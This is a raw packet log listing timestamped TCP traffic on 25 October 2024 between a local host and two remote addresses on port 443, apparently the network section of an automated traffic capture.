Oct 25, 2024 10:17:15.812850952 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.812859058 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:23.965584040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:23.965611935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:23.965693951 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:23.972217083 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:23.972249031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:24.591655970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:24.591766119 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:24.593893051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:24.593909025 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:24.594254017 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:24.600239038 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:24.643343925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.384130001 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.384267092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.384329081 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.384354115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.384469032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.384557962 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.384558916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.384588003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.384639025 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.384674072 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.384808064 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.384861946 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.384876013 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.389504910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.389574051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.389589071 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.444574118 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.503140926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.503299952 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.503405094 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.503420115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.503448963 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.503505945 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.503530979 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.503710032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.503910065 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.503926992 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.504059076 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.504110098 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.504122972 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.504211903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.504286051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.504298925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.504842997 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.504908085 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.504919052 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.504942894 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.505080938 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.505085945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.505109072 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.505479097 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.505662918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.545882940 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.545958042 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.545974970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.546063900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.546181917 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.546195984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.588624954 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.622658968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.622814894 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.622890949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.622966051 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.622984886 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.623056889 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.623100042 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.623162985 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.623238087 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.623248100 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.623274088 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.623457909 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.623502970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.624238968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.624258995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.624298096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.624320984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.624347925 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.624353886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.624412060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.624425888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.624490976 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.624505043 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.625174999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.625236988 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.625250101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.625304937 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.625365973 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.625447989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.626230001 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.626302004 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.627016068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.627072096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.627095938 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.627159119 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.627993107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.628055096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.631249905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.656177044 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.665344954 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.665431023 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.665472031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.665545940 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.742042065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.742149115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.742187977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.742219925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.742252111 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.742286921 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.742623091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.742701054 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.742723942 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.742790937 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.743060112 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.743123055 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.743155003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.743213892 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.743633032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.743697882 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.743932009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.743993044 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.744040012 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.744095087 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.744141102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.744204998 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.744894981 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.744956970 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.745018959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.745083094 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.745126963 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.745189905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.745727062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.745791912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.745827913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.745898008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.745925903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.745986938 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.746637106 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.746700048 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.746726036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.746788979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.746814013 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.746875048 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.747559071 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.747626066 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.747663021 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.747731924 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.747762918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.747824907 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.748661995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.748719931 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.748744011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.748802900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.748828888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.748888016 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.755582094 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.780437946 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.784948111 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.785003901 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.785022020 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.785057068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.785104990 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.785109043 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.785159111 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.785176039 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.785231113 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.861572981 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.861660004 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.861727953 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.861727953 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.861792088 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.861865997 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.862220049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.862282038 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.862308979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.862324953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.862356901 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.862520933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.862571001 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.862588882 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.862606049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.862639904 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.862663984 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.862884045 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.862926960 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.862971067 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.862987995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.863022089 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.863045931 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.867355108 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.867403984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.867436886 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.867450953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.867482901 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.867502928 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.867782116 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.867837906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.867875099 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.867887974 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.867913961 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.867933989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.868223906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.868266106 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.868293047 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.868304968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.868331909 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.868355036 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.868618965 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.868668079 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.868691921 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.868705034 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.868752003 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.868776083 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.869048119 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.869096994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.869129896 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.869142056 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.869168997 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.869198084 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.869256973 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.869298935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.869333982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.869345903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.869371891 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.869391918 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.869795084 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.869836092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.869880915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.869895935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.869921923 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.869963884 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.869995117 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.870038033 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.870068073 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.870080948 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.870110989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.870127916 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.870151043 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.903915882 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.903959990 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.903987885 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.904004097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.904033899 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.904345989 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.904393911 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.904407978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.904429913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.904464960 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.957640886 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.981309891 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.981332064 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.981369972 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.981400013 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.981416941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.981451035 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.981471062 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.981741905 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.981784105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.981827974 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.981839895 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.981867075 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.982047081 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.982136011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.982178926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.982206106 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.982223034 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.982247114 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.982285023 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.982490063 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.982590914 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.982610941 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.982624054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.982651949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.982675076 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.982764006 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.982805967 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.982847929 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.982865095 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.982887030 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.982923031 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.983566046 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.983608007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.983654976 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.983669996 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.983722925 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.983722925 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.983876944 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.983916998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.983949900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.983962059 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.983990908 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.984019995 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.984246016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.984288931 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.984312057 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.984323978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.984350920 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.984371901 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.984560966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.984601974 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.984627962 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.984641075 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.984666109 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.984683037 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.985071898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.985131025 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.985172987 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.985199928 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.985223055 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.985270977 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.985378981 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.985418081 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.985447884 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.985461950 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.985487938 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.985651970 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.985702038 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.985744953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.985774994 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.985786915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.985810995 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.985853910 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.986143112 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.986182928 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.986233950 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.986252069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.986274958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.986418009 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.986514091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.986557007 CEST	443	58442	104.16.231.132	192.168.2.17
